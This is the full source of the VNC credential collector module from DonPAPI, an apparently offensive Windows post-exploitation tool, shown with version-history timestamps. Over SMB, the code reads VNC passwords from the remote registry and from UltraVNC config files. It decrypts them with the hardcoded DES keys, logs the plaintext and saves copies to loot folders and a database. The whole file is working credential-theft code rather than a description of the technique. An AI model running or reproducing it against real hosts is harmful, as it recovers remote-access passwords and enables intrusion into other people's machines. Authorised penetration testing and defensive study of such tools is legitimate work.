2024-07-05 13:47:43 +00:00
|
|
|
import re
|
2024-10-21 09:53:16 +00:00
|
|
|
import codecs
|
|
|
|
from os import path
|
2024-07-05 13:47:43 +00:00
|
|
|
from typing import Any
|
2024-10-21 09:53:16 +00:00
|
|
|
from binascii import unhexlify
|
2024-07-05 13:47:43 +00:00
|
|
|
from dploot.lib.target import Target
|
|
|
|
from dploot.lib.smb import DPLootSMBConnection
|
|
|
|
from donpapi.core import DonPAPICore
|
|
|
|
from donpapi.lib.logger import DonPAPIAdapter
|
|
|
|
from Cryptodome.Cipher import DES
|
2024-10-21 09:53:16 +00:00
|
|
|
from donpapi.lib.utils import dump_file_to_loot_directories
|
2024-07-05 13:47:43 +00:00
|
|
|
|
|
|
|
|
2024-10-21 09:53:16 +00:00
|
|
|
class VNC:
|
2024-07-05 13:47:43 +00:00
|
|
|
vnc_decryption_key = b"\x17\x52\x6b\x06\x23\x4e\x58\x07"
|
|
|
|
ultravnc_decryption_key = b'\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0'
|
|
|
|
|
2024-10-21 09:53:16 +00:00
|
|
|
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list, options: Any, logger: DonPAPIAdapter, context: DonPAPICore, false_positive: list, max_filesize: int) -> None:
|
|
|
|
self.tag = self.__class__.__name__
|
2024-07-05 13:47:43 +00:00
|
|
|
self.target = target
|
|
|
|
self.conn = conn
|
|
|
|
self.masterkeys = masterkeys
|
|
|
|
self.options = options
|
|
|
|
self.logger = logger
|
|
|
|
self.context = context
|
2024-10-21 09:53:16 +00:00
|
|
|
self.false_positive = false_positive
|
|
|
|
self.max_filesize = max_filesize
|
2024-07-05 13:47:43 +00:00
|
|
|
|
|
|
|
def run(self):
|
|
|
|
self.logger.display("Dumping VNC Credentials")
|
|
|
|
if self.context.remoteops_allowed:
|
|
|
|
self.vnc_from_registry()
|
|
|
|
self.vnc_from_filesystem()
|
|
|
|
|
|
|
|
def vnc_from_registry(self):
|
|
|
|
vncs = (
|
|
|
|
("RealVNC 4.x", "HKLM\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
|
|
|
("RealVNC 3.x", "HKLM\\SOFTWARE\\RealVNC\\vncserver", "Password"),
|
|
|
|
("RealVNC 4.x", "HKLM\\SOFTWARE\\RealVNC\\WinVNC4", "Password"),
|
|
|
|
("TightVNC", "HKLM\\Software\\TightVNC\\Server", "Password"),
|
|
|
|
("TightVNC ControlPassword", "HKLM\\Software\\TightVNC\\Server", "ControlPassword"),
|
|
|
|
("TightVNC", "HKLM\\Software\\TightVNC\\Server", "PasswordViewOnly"),
|
|
|
|
("TigerVNC", "HKLM\\Software\\TigerVNC\\Server", "Password"),
|
|
|
|
)
|
|
|
|
for vnc_name, path, key in vncs:
|
|
|
|
try:
|
|
|
|
value = self.context.reg_query_value(path,key)
|
|
|
|
except Exception as e:
|
|
|
|
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
|
|
|
self.logger.error(f"Error while RegQueryValue {path}\\{key}: {e}")
|
|
|
|
continue
|
|
|
|
value = value[-1].rstrip(b"\x00")
|
|
|
|
password = self.recover_vncpassword(value)
|
2024-10-21 09:53:16 +00:00
|
|
|
self.logger.secret(f"[{vnc_name}] Password: {password.decode('latin-1')}",self.tag.upper())
|
2024-07-05 13:47:43 +00:00
|
|
|
self.add_to_db(password.decode('latin-1'), vnc_type=vnc_name)
|
|
|
|
|
|
|
|
def split_len(self, seq, length):
|
|
|
|
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
|
|
|
|
|
|
|
def recover_vncpassword(self, hash):
|
|
|
|
encpasswd = hash.hex()
|
|
|
|
pwd = None
|
|
|
|
if encpasswd:
|
|
|
|
# If the hex encoded passwd length is longer than 16 hex chars and divisible
|
|
|
|
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
|
|
|
|
# (1 hex char = 4 binary bits = 1 nibble)
|
|
|
|
hexpasswd = bytes.fromhex(encpasswd)
|
|
|
|
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
|
|
|
|
splitstr = self.split_len(codecs.encode(hash, "hex"), 16)
|
|
|
|
cryptedblocks = []
|
|
|
|
for sblock in splitstr:
|
|
|
|
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
|
|
|
|
pwd = b"".join(cryptedblocks)
|
|
|
|
elif len(hexpasswd) <= 16:
|
|
|
|
pwd = self.decrypt_password(hash)
|
|
|
|
else:
|
|
|
|
pwd = self.decrypt_password(hash)
|
|
|
|
return pwd
|
|
|
|
|
|
|
|
def decrypt_password(self, password):
|
|
|
|
try:
|
|
|
|
password = (password + b"\x00" * 8)[:8]
|
|
|
|
cipher = DES.new(key=self.ultravnc_decryption_key, mode=DES.MODE_ECB)
|
|
|
|
data =cipher.decrypt(password)
|
|
|
|
return data
|
|
|
|
except Exception as ex:
|
|
|
|
import traceback
|
|
|
|
traceback.print_exc()
|
|
|
|
self.logger.error(f"Error while decrypting VNC password {password}: {ex}")
|
|
|
|
|
|
|
|
def vnc_from_filesystem(self):
|
|
|
|
|
|
|
|
vncs = (
|
|
|
|
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
|
|
|
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
|
|
|
|
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
|
|
|
|
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
|
|
|
)
|
|
|
|
|
|
|
|
for vnc_name, file in vncs:
|
|
|
|
file_content = self.conn.readFile(self.context.share, file)
|
|
|
|
if file_content is not None:
|
2024-10-21 09:53:16 +00:00
|
|
|
absolute_local_filepath = path.join(self.context.target_output_dir, *(file.split('\\')))
|
|
|
|
dump_file_to_loot_directories(absolute_local_filepath, file_content)
|
|
|
|
|
|
|
|
collector_dir_local_filepath = path.join(self.context.global_output_dir, self.tag, file.replace("\\", "_"))
|
|
|
|
dump_file_to_loot_directories(collector_dir_local_filepath, file_content)
|
|
|
|
|
2024-07-05 13:47:43 +00:00
|
|
|
regex_passwd = [rb'passwd=[0-9A-F]+', rb'passwd2=[0-9A-F]+']
|
|
|
|
for regex in regex_passwd:
|
|
|
|
passwds_encrypted = re.findall(regex, file_content)
|
|
|
|
for passwd_encrypted in passwds_encrypted:
|
|
|
|
passwd_encrypted = passwd_encrypted.split(b'=')[-1]
|
|
|
|
password = self.decrypt_password(unhexlify(passwd_encrypted))
|
2024-10-21 09:53:16 +00:00
|
|
|
self.logger.secret(f"[{vnc_name}] Password: {password.decode('latin-1')}",self.tag.upper())
|
2024-07-05 13:47:43 +00:00
|
|
|
self.add_to_db(password.decode('latin-1'), vnc_type=vnc_name)
|
|
|
|
|
|
|
|
def add_to_db(self, password, vnc_type):
|
2024-10-21 09:53:16 +00:00
|
|
|
self.context.db.add_secret(computer=self.context.host, collector=self.tag, program=vnc_type, password=password, windows_user="SYSTEM")
|